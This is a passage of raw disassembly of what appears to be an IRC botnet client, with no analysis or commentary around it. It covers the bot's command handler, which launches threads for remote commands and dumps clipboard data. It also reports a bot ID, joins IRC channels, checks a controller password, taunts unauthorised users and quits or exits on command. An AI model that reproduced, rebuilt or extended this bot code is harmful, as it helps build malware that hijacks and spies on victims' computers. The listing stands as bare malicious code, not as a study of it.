sub_40EC43+53A5j lea eax, [ebp+var_AC4] push 104h push eax call dword_423068 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_E0] push ebx push eax lea eax, [ebp+var_AC4] push eax call sub_418FB8 add esp, 14h loc_414026: ; CODE XREF: sub_40EC43+53B6j lea eax, [ebp+var_E74] push eax call sub_4177B0 cmp [ebp+eax+var_E75], 5Ch pop ecx jnz short loc_414051 lea eax, [ebp+var_E74] push eax call sub_4177B0 pop ecx mov [ebp+eax+var_E75], bl loc_414051: ; CODE XREF: sub_40EC43+53F8j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_10FC] mov [ebp+var_1100], esi push 80h push eax call sub_41752A mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_D60], eax lea eax, [ebp+var_E74] mov [ebp+var_D64], edi push eax push [ebp+var_D70] push esi call sub_40AD08 pop ecx push eax lea eax, [ebp+var_2EC] push offset unk_434ED0 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 3 push eax call sub_416A7A add esp, 20h mov [ebp+var_D68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1100] push ebx push eax push offset sub_405983 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_D68] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41410C call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_434E88 jmp loc_414236 ; --------------------------------------------------------------------------- loc_414104: ; CODE XREF: sub_40EC43+54CFj push 32h call dword_423064 ; Sleep loc_41410C: ; CODE XREF: sub_40EC43+54AEj cmp [ebp+var_D54], ebx jz short loc_414104 jmp loc_414245 ; --------------------------------------------------------------------------- loc_414119: ; CODE XREF: sub_40EC43+1813j ; sub_40EC43+1828j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_414138 push edi call sub_41751F test eax, eax pop ecx jz short loc_414138 push edi call sub_41751F pop ecx jmp short loc_41413D ; --------------------------------------------------------------------------- loc_414138: ; CODE XREF: sub_40EC43+54DFj ; sub_40EC43+54EAj mov eax, dword_42E90C loc_41413D: ; CODE XREF: sub_40EC43+54F3j mov [ebp+var_AF0], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_414154 lea eax, [ebp+var_D4] loc_414154: ; CODE XREF: sub_40EC43+5509j push eax lea eax, [ebp+var_C30] push 40h push eax call sub_41752A mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_414176 mov esi, offset byte_43BCE8 loc_414176: ; CODE XREF: sub_40EC43+552Cj push esi lea eax, [ebp+var_BF0] push 100h push eax call sub_41752A push [ebp+var_8C] lea eax, [ebp+var_CB0] push 80h push eax call sub_41752A mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_ADC], eax lea eax, [ebp+var_C30] push eax mov [ebp+var_CB4], esi push [ebp+var_AF0] mov [ebp+var_AE0], edi push esi call sub_40AD08 pop ecx push eax lea eax, [ebp+var_2EC] push offset dword_434E38 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 6 push eax call sub_416A7A add esp, 20h mov [ebp+var_AEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_CB4] push ebx push eax push offset sub_41547D push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_AEC] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41426B call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_434DE8 loc_414236: ; CODE XREF: sub_40EC43+35CEj ; sub_40EC43+36C7j ... lea eax, [ebp+var_2EC] push eax call sub_416FB6 add esp, 0Ch loc_414245: ; CODE XREF: sub_40EC43+35E3j ; sub_40EC43+36DCj ... cmp [ebp+var_8], ebx jnz loc_40F594 push ebx push edi loc_414250: ; CODE XREF: sub_40EC43+3A16j lea eax, [ebp+var_2EC] push eax push [ebp+var_8C] push esi jmp loc_4119AB ; --------------------------------------------------------------------------- loc_414263: ; CODE XREF: sub_40EC43+562Ej push 32h call dword_423064 ; Sleep loc_41426B: ; CODE XREF: sub_40EC43+55E5j cmp [ebp+var_AD8], ebx jz short loc_414263 jmp short loc_414245 ; --------------------------------------------------------------------------- loc_414275: ; CODE XREF: sub_40EC43+17E9j ; sub_40EC43+17FEj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414288 push esi call sub_41751F jmp short loc_41428F ; --------------------------------------------------------------------------- loc_414288: ; CODE XREF: sub_40EC43+563Bj push 8 call sub_416CDB loc_41428F: ; CODE XREF: sub_40EC43+5643j cmp eax, ebx pop ecx jz loc_414CDE push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40702C jmp loc_414760 ; --------------------------------------------------------------------------- loc_4142AF: ; CODE XREF: sub_40EC43+17BFj ; sub_40EC43+17D4j mov eax, dword_43EA4C cmp eax, ebx jz short loc_4142D2 call eax ; DnsFlushResolverCache test eax, eax lea eax, [ebp+var_2EC] jz short loc_4142CB push offset unk_434DB4 jmp short loc_4142F3 ; --------------------------------------------------------------------------- loc_4142CB: ; CODE XREF: sub_40EC43+567Fj push offset unk_434D78 jmp short loc_4142F3 ; --------------------------------------------------------------------------- loc_4142D2: ; CODE XREF: sub_40EC43+5673j push offset unk_434D3C lea eax, [ebp+var_2EC] jmp short loc_4142F3 ; --------------------------------------------------------------------------- loc_4142DF: ; CODE XREF: sub_40EC43+1795j ; sub_40EC43+17AAj call sub_40AC30 test eax, eax lea eax, [ebp+var_2EC] jz short loc_414303 push offset unk_434D08 loc_4142F3: ; CODE XREF: sub_40EC43+5686j ; sub_40EC43+568Dj ... push 200h push eax call sub_41752A jmp loc_4115BB ; --------------------------------------------------------------------------- loc_414303: ; CODE XREF: sub_40EC43+56A9j push offset unk_434CCC jmp short loc_4142F3 ; --------------------------------------------------------------------------- loc_41430A: ; CODE XREF: sub_40EC43+176Bj ; sub_40EC43+1780j cmp [ebp+var_8], ebx jnz short loc_414329 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_414329: ; CODE XREF: sub_40EC43+56CAj push ebx push [ebp+var_4] call sub_40A8ED push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 push offset dword_434C8C jmp loc_41462D ; --------------------------------------------------------------------------- loc_41434B: ; CODE XREF: sub_40EC43+1691j ; sub_40EC43+16A6j push 7 call sub_416CBC test eax, eax pop ecx jle short loc_41435E push offset dword_434C54 jmp short loc_41437F ; --------------------------------------------------------------------------- loc_41435E: ; CODE XREF: sub_40EC43+5712j push [ebp+var_8C] push [ebp+arg_4] call sub_40B398 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41437A push offset dword_434C1C jmp short loc_41437F ; --------------------------------------------------------------------------- loc_41437A: ; CODE XREF: sub_40EC43+572Ej push offset dword_434BEC loc_41437F: ; CODE XREF: sub_40EC43+4D73j ; sub_40EC43+5719j ... lea eax, [ebp+var_2EC] push eax call sub_416FB6 pop ecx pop ecx jmp loc_41166A ; --------------------------------------------------------------------------- loc_414392: ; CODE XREF: sub_40EC43+1667j ; sub_40EC43+167Cj push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A2E5 jmp loc_41464E ; --------------------------------------------------------------------------- loc_4143AB: ; CODE XREF: sub_40EC43+163Dj ; sub_40EC43+1652j push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D11F jmp loc_41464E ; --------------------------------------------------------------------------- loc_4143C8: ; CODE XREF: sub_40EC43+1613j ; sub_40EC43+1628j or edi, 0FFFFFFFFh call dword_423058 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_4143F1 push esi call sub_41751F pop ecx mov edi, eax loc_4143F1: ; CODE XREF: sub_40EC43+57A3j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_41440A cmp edi, 0FFFFFFFFh jnz loc_414CDE loc_41440A: ; CODE XREF: sub_40EC43+57BCj push ebx call sub_40B54D push eax lea eax, [ebp+var_2EC] push offset dword_434BC4 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 lea eax, [ebp+var_2EC] push eax call sub_40BD8D loc_414447: ; CODE XREF: sub_40EC43+341Cj add esp, 28h jmp loc_414CDE ; --------------------------------------------------------------------------- loc_41444F: ; CODE XREF: sub_40EC43+15E9j ; sub_40EC43+15FEj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408A63 lea eax, [ebp+var_2EC] push offset unk_434B94 push eax call sub_416FB6 loc_414471: ; CODE XREF: sub_40EC43+3C39j add esp, 14h jmp loc_41198E ; --------------------------------------------------------------------------- loc_414479: ; CODE XREF: sub_40EC43+15BFj ; sub_40EC43+15D4j push 1Fh call sub_416CBC test eax, eax pop ecx jle short loc_4144AD cmp [ebp+var_8], ebx jnz loc_40F098 push ebx push [ebp+var_4] push offset unk_434B60 push [ebp+var_8C] loc_41449D: ; CODE XREF: sub_40EC43+8D9j push [ebp+arg_4] call sub_40D476 add esp, 14h jmp loc_40F098 ; --------------------------------------------------------------------------- loc_4144AD: ; CODE XREF: sub_40EC43+5840j push [ebp+var_8C] lea eax, [ebp+var_380] push 80h push eax call sub_41752A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_384], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_2F4], eax mov [ebp+var_2FC], ebx jz short loc_41450E push esi push offset aFull ; "full" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_41450E mov [ebp+var_2FC], 1 loc_41450E: ; CODE XREF: sub_40EC43+58AEj ; sub_40EC43+58BFj lea eax, [ebp+var_2EC] push offset dword_434B28 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 1Fh push eax call sub_416A7A add esp, 14h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_384] push ebx push eax push offset sub_4150C3 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_41458E call dword_42308C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2EC] push offset unk_434AD8 push eax call sub_416FB6 add esp, 0Ch jmp loc_41168B ; --------------------------------------------------------------------------- loc_414586: ; CODE XREF: sub_40EC43+5951j push 32h call dword_423064 ; Sleep loc_41458E: ; CODE XREF: sub_40EC43+5921j cmp [ebp+var_2F0], ebx jz short loc_414586 jmp loc_41168B ; --------------------------------------------------------------------------- loc_41459B: ; CODE XREF: sub_40EC43+1595j ; sub_40EC43+15AAj cmp [ebp+var_8], ebx jnz short loc_4145BA push ebx push [ebp+var_4] push offset dword_434AB0 push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_4145BA: ; CODE XREF: sub_40EC43+595Bj push [ebp+arg_4] call dword_43EBBC ; closesocket call dword_43EA84 ; WSACleanup call sub_40AA70 push ebx call dword_42314C ; ExitProcess loc_4145D5: ; CODE XREF: sub_40EC43+156Bj ; sub_40EC43+1580j push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_40B6ED pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 push offset dword_434A88 jmp short loc_41462D ; --------------------------------------------------------------------------- loc_414600: ; CODE XREF: sub_40EC43+1432j ; sub_40EC43+1447j push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40B9A1 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 push offset dword_434A60 loc_41462D: ; CODE XREF: sub_40EC43+5703j ; sub_40EC43+59BBj call sub_40BD8D loc_414632: ; CODE XREF: sub_40EC43+41D4j add esp, 18h jmp loc_414CDE ; --------------------------------------------------------------------------- loc_41463A: ; CODE XREF: sub_40EC43+1408j ; sub_40EC43+141Dj push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BE2D loc_41464E: ; CODE XREF: sub_40EC43+3A9j ; sub_40EC43+5763j ... add esp, 10h jmp loc_40F098 ; --------------------------------------------------------------------------- loc_414656: ; CODE XREF: sub_40EC43+13DEj ; sub_40EC43+13F3j cmp [ebp+var_C], ebx mov [ebp+var_A50], bl jz short loc_414695 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414695 push esi push [ebp+var_C] call sub_417580 pop ecx cmp eax, ebx pop ecx jz short loc_414695 push eax push offset aS_3 ; "%s" lea eax, [ebp+var_A50] push 80h push eax call sub_41752A add esp, 10h loc_414695: ; CODE XREF: sub_40EC43+5A1Cj ; sub_40EC43+5A27j ... push [ebp+var_8C] lea eax, [ebp+var_AD0] push 80h push eax call sub_41752A mov eax, [ebp+arg_4] push offset dword_434A38 mov [ebp+var_AD4], eax mov eax, [ebp+var_4] mov [ebp+var_9CC], eax mov eax, [ebp+var_8] mov [ebp+var_9C8], eax lea eax, [ebp+var_2EC] push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 1Dh push eax call sub_416A7A add esp, 20h mov [ebp+var_9D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_AD4] push ebx push eax push offset sub_40BEA0 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_9D0] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_414738 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_4349F0 jmp loc_414E59 ; --------------------------------------------------------------------------- loc_414730: ; CODE XREF: sub_40EC43+5AFBj push 32h call dword_423064 ; Sleep loc_414738: ; CODE XREF: sub_40EC43+5ADAj cmp [ebp+var_9C4], ebx jz short loc_414730 jmp loc_40F098 ; --------------------------------------------------------------------------- loc_414745: ; CODE XREF: sub_40EC43+13B4j ; sub_40EC43+13C9j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BD15 push offset dword_4349C8 call sub_40BD8D loc_414760: ; CODE XREF: sub_40EC43+5667j add esp, 10h jmp loc_414CDE ; --------------------------------------------------------------------------- loc_414768: ; CODE XREF: sub_40EC43+138Aj ; sub_40EC43+139Fj push [ebp+var_8C] lea eax, [ebp+var_418] push 80h push eax call sub_41752A mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_41C], eax mov eax, [ebp+var_4] mov [ebp+var_390], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_38C], eax jz short loc_4147C2 push offset dword_4349C4 push esi call sub_4173D0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_394], eax jmp short loc_4147C8 ; --------------------------------------------------------------------------- loc_4147C2: ; CODE XREF: sub_40EC43+5B63j mov [ebp+var_394], ebx loc_4147C8: ; CODE XREF: sub_40EC43+5B7Dj lea eax, [ebp+var_2EC] push offset dword_434998 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 20h push eax call sub_416A7A add esp, 14h mov [ebp+var_398], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_416AE5 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_398] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_414839 call dword_42308C ; RtlGetLastWin32Error push eax push offset dword_434950 jmp loc_4135F3 ; --------------------------------------------------------------------------- loc_414831: ; CODE XREF: sub_40EC43+5BFCj push 32h call dword_423064 ; Sleep loc_414839: ; CODE XREF: sub_40EC43+5BDBj cmp [ebp+var_388], ebx jz short loc_414831 jmp loc_4115DF ; --------------------------------------------------------------------------- loc_414846: ; CODE XREF: sub_40EC43+130Ej ; sub_40EC43+1323j push offset aBotid ; "botid" lea eax, [ebp+var_2EC] push offset dword_434924 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 20h jmp loc_4115DF ; --------------------------------------------------------------------------- loc_41487D: ; CODE XREF: sub_40EC43+12E4j ; sub_40EC43+12F9j push dword_4890F8 call sub_40B54D push eax lea eax, [ebp+var_2EC] push offset dword_4348E8 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 24h jmp loc_4115DF ; --------------------------------------------------------------------------- loc_4148BB: ; CODE XREF: sub_40EC43+12BAj ; sub_40EC43+12CFj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4148ED cmp [ebp+var_C], ebx jz short loc_4148FC push esi push [ebp+var_C] call sub_417580 pop ecx cmp eax, ebx pop ecx jz short loc_4148FC push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40D430 add esp, 0Ch jmp short loc_4148FC ; --------------------------------------------------------------------------- loc_4148ED: ; CODE XREF: sub_40EC43+5C81j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40D430 pop ecx pop ecx loc_4148FC: ; CODE XREF: sub_40EC43+5C86j ; sub_40EC43+5C95j ... push 0FFFFFFFEh pop eax jmp loc_40F09B ; --------------------------------------------------------------------------- loc_414904: ; CODE XREF: sub_40EC43+1290j ; sub_40EC43+12A5j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40D430 push offset dword_434898 call sub_40BD8D add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40F09B ; --------------------------------------------------------------------------- loc_414926: ; CODE XREF: sub_40EC43+1266j ; sub_40EC43+127Bj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40D430 push offset dword_434858 call sub_40BD8D add esp, 0Ch xor eax, eax jmp loc_40F09B ; --------------------------------------------------------------------------- loc_414947: ; CODE XREF: sub_40EC43+123Cj ; sub_40EC43+1251j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406F62 loc_414958: ; CODE XREF: sub_40EC43+4140j add esp, 0Ch jmp loc_414CDE ; --------------------------------------------------------------------------- loc_414960: ; CODE XREF: sub_40EC43+1197j ; sub_40EC43+11ACj push [ebp+esi+var_90] push 1Fh push offset dword_434848 push offset dword_43483C jmp short loc_414988 ; --------------------------------------------------------------------------- loc_414975: ; CODE XREF: sub_40EC43+116Dj ; sub_40EC43+1182j push [ebp+esi+var_90] push 1Ch push offset dword_434830 push offset dword_434820 loc_414988: ; CODE XREF: sub_40EC43+FE8j ; sub_40EC43+1011j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416D02 add esp, 20h jmp loc_40F098 ; --------------------------------------------------------------------------- loc_4149A4: ; CODE XREF: sub_40EC43+FA9j ; sub_40EC43+FBEj mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4149C3 push edi call sub_41751F test eax, eax pop ecx jz short loc_4149C3 push edi call sub_41751F pop ecx jmp short loc_4149C8 ; --------------------------------------------------------------------------- loc_4149C3: ; CODE XREF: sub_40EC43+5D6Aj ; sub_40EC43+5D75j mov eax, dword_42E900 loc_4149C8: ; CODE XREF: sub_40EC43+5D7Ej mov esi, [ebp+esi+var_8C] mov [ebp+var_3A0], eax cmp esi, ebx jz short loc_4149ED push esi loc_4149DA: ; CODE XREF: sub_40EC43+5DB9j lea eax, [ebp+var_3B0] push 10h push eax call sub_41752A add esp, 0Ch jmp short loc_414A04 ; --------------------------------------------------------------------------- loc_4149ED: ; CODE XREF: sub_40EC43+5D94j cmp [ebp+var_95F], bl jz short loc_4149FE lea eax, [ebp+var_D4] push eax jmp short loc_4149DA ; --------------------------------------------------------------------------- loc_4149FE: ; CODE XREF: sub_40EC43+5DB0j mov [ebp+var_3B0], bl loc_414A04: ; CODE XREF: sub_40EC43+5DA8j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_394], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_390], eax lea eax, [ebp+var_430] push eax mov [ebp+var_434], esi call sub_41752A add esp, 0Ch push [ebp+var_3A0] push esi call sub_40AD08 pop ecx push eax lea eax, [ebp+var_2EC] push offset unk_42A8CC push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 11h push eax call sub_416A7A add esp, 1Ch mov [ebp+var_39C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_434] push ebx push eax push offset sub_407E2F push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_39C] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_414AB8 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_4347D8 jmp loc_414E59 ; --------------------------------------------------------------------------- loc_414AB0: ; CODE XREF: sub_40EC43+5E7Bj push 32h call dword_423064 ; Sleep loc_414AB8: ; CODE XREF: sub_40EC43+5E5Aj cmp [ebp+var_38C], ebx jz short loc_414AB0 jmp loc_40F098 ; --------------------------------------------------------------------------- loc_414AC5: ; CODE XREF: sub_40EC43+F55j ; sub_40EC43+F6Aj ... push edi push offset aSecure ; "secure" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_414AED push edi push offset aSec ; "sec" call sub_4173D0 pop ecx mov [ebp+var_2FC], ebx test eax, eax pop ecx jnz short loc_414AF7 loc_414AED: ; CODE XREF: sub_40EC43+5E91j mov [ebp+var_2FC], 1 loc_414AF7: ; CODE XREF: sub_40EC43+5EA8j push [ebp+var_8C] lea eax, [ebp+var_380] push 80h push eax call sub_41752A mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_2FC], ebx mov [ebp+var_384], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] mov [ebp+var_2F4], eax mov eax, offset aSecuring ; "Securing" jnz short loc_414B3E mov eax, offset aUnsecuring ; "Unsecuring" loc_414B3E: ; CODE XREF: sub_40EC43+5EF4j push eax push offset dword_43478C lea eax, [ebp+var_2EC] push 200h push eax call sub_41752A push ebx lea eax, [ebp+var_2EC] push 1Ah push eax call sub_416A7A add esp, 1Ch mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_384] push ebx push eax push offset sub_415C62 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_414BB5 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_434740 jmp loc_412988 ; --------------------------------------------------------------------------- loc_414BAD: ; CODE XREF: sub_40EC43+5F78j push 32h call dword_423064 ; Sleep loc_414BB5: ; CODE XREF: sub_40EC43+5F57j cmp [ebp+var_2F0], ebx jz short loc_414BAD jmp loc_40F594 ; --------------------------------------------------------------------------- loc_414BC2: ; CODE XREF: sub_40EC43+F2Bj ; sub_40EC43+F40j push offset aTarabTool ; "Tarab tool" push offset dword_434720 jmp loc_4115AF ; --------------------------------------------------------------------------- loc_414BD1: ; CODE XREF: sub_40EC43+F01j ; sub_40EC43+F16j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_414C2D push esi call sub_41751F cmp eax, ebx pop ecx jl short loc_414C22 cmp eax, 2 jge short loc_414C22 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 lea esi, [ecx+edx] cmp [esi], bl jz short loc_414C17 lea eax, [esi+1] push eax lea eax, [ebp+var_2EC] push offset dword_4346F0 push eax call sub_416FB6 mov [esi], bl jmp loc_410B74 ; --------------------------------------------------------------------------- loc_414C17: ; CODE XREF: sub_40EC43+5FB6j push eax push offset dword_4346B4 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_414C22: ; CODE XREF: sub_40EC43+5FA2j ; sub_40EC43+5FA7j push eax push offset dword_434678 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_414C2D: ; CODE XREF: sub_40EC43+5F97j mov edi, [ebp+arg_18] xor esi, esi loc_414C32: ; CODE XREF: sub_40EC43+600Bj push [ebp+var_94] push edi call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_414C55 inc esi add edi, 80h cmp esi, 2 jl short loc_414C32 jmp loc_41198E ; --------------------------------------------------------------------------- loc_414C55: ; CODE XREF: sub_40EC43+5FFFj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D4] push eax push offset dword_4346F0 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_414C6F: ; CODE XREF: sub_40EC43+ED7j ; sub_40EC43+EECj push [ebp+var_90] push offset dword_437B40 call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_414CDE call sub_416C3D push ebx call dword_42314C ; ExitProcess loc_414C91: ; CODE XREF: sub_40EC43+EADj ; sub_40EC43+EC2j push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_950], bl setnz al push eax lea eax, [ebp+var_450] push dword_42E924 push eax call sub_415A3A lea eax, [ebp+var_450] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40D430 lea eax, [ebp+var_450] push eax push offset dword_434644 call sub_40BE01 loc_414CDB: ; CODE XREF: sub_40EC43+2BAEj add esp, 24h loc_414CDE: ; CODE XREF: sub_40EC43+61Dj ; sub_40EC43+629j ... mov eax, [ebp+arg_24] jmp loc_40F09B ; --------------------------------------------------------------------------- loc_414CE6: ; CODE XREF: sub_40EC43+ABCj ; sub_40EC43+ACFj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40F098 cmp [ebp+var_AC], ebx jnz loc_40F098 push offset asc_437C4C ; "!" push [ebp+var_94] call sub_41886E mov esi, eax push offset dword_43BCF8 push ebx inc esi call sub_41886E push offset asc_434640 ; "~" push eax call sub_41886E push [ebp+arg_0] mov edi, eax push offset a3zef ; "3zef" call sub_4173D0 add esp, 20h test eax, eax jz short loc_414D8E lea eax, [ebp+var_D4] push edi push eax lea eax, [ebp+var_D4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D430 lea eax, [ebp+var_D4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D430 push edi push esi push offset dword_4345B0 loc_414D7A: ; CODE XREF: sub_40EC43+61A4j lea eax, [ebp+var_2EC] push eax call sub_416FB6 add esp, 30h jmp loc_40F594 ; --------------------------------------------------------------------------- loc_414D8E: ; CODE XREF: sub_40EC43+60FEj mov [ebp+arg_24], ebx loc_414D91: ; CODE XREF: sub_40EC43+616Bj mov eax, [ebp+arg_24] push edi push off_42EA04[eax] call sub_416DCD pop ecx test eax, eax pop ecx jnz short loc_414DE9 add [ebp+arg_24], 4 cmp [ebp+arg_24], 4 jb short loc_414D91 lea eax, [ebp+var_D4] push edi push eax lea eax, [ebp+var_D4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40D430 lea eax, [ebp+var_D4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40D430 push edi push esi push offset dword_434568 jmp short loc_414D7A ; --------------------------------------------------------------------------- loc_414DE9: ; CODE XREF: sub_40EC43+6161j mov edi, [ebp+arg_18] xor esi, esi loc_414DEE: ; CODE XREF: sub_40EC43+61CCj cmp [edi], bl jnz short loc_414E05 push [ebp+arg_0] push offset a3zef ; "3zef" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_414E16 loc_414E05: ; CODE XREF: sub_40EC43+61ADj inc esi add edi, 80h cmp esi, 2 jl short loc_414DEE jmp loc_40F098 ; --------------------------------------------------------------------------- loc_414E16: ; CODE XREF: sub_40EC43+61C0j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_D50] push 7Fh push eax push esi call sub_418910 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_414E4D push ebx push [ebp+var_4] push offset dword_434538 push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_414E4D: ; CODE XREF: sub_40EC43+61EEj lea eax, [ebp+var_D4] push eax push offset dword_434508 loc_414E59: ; CODE XREF: sub_40EC43+575j ; sub_40EC43+5AE8j ... call sub_40BE01 pop ecx loc_414E5F: ; CODE XREF: sub_40EC43+2A54j pop ecx jmp loc_40F098 ; --------------------------------------------------------------------------- loc_414E65: ; CODE XREF: sub_40EC43+200j ; sub_40EC43+215j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40D430 push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40D430 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D430 add esp, 2Ch mov dword_48926C, edi jmp loc_40EED2 sub_40EC43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EAB proc near ; CODE XREF: sub_408E7C+45p ; sub_408E7C+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_42313C 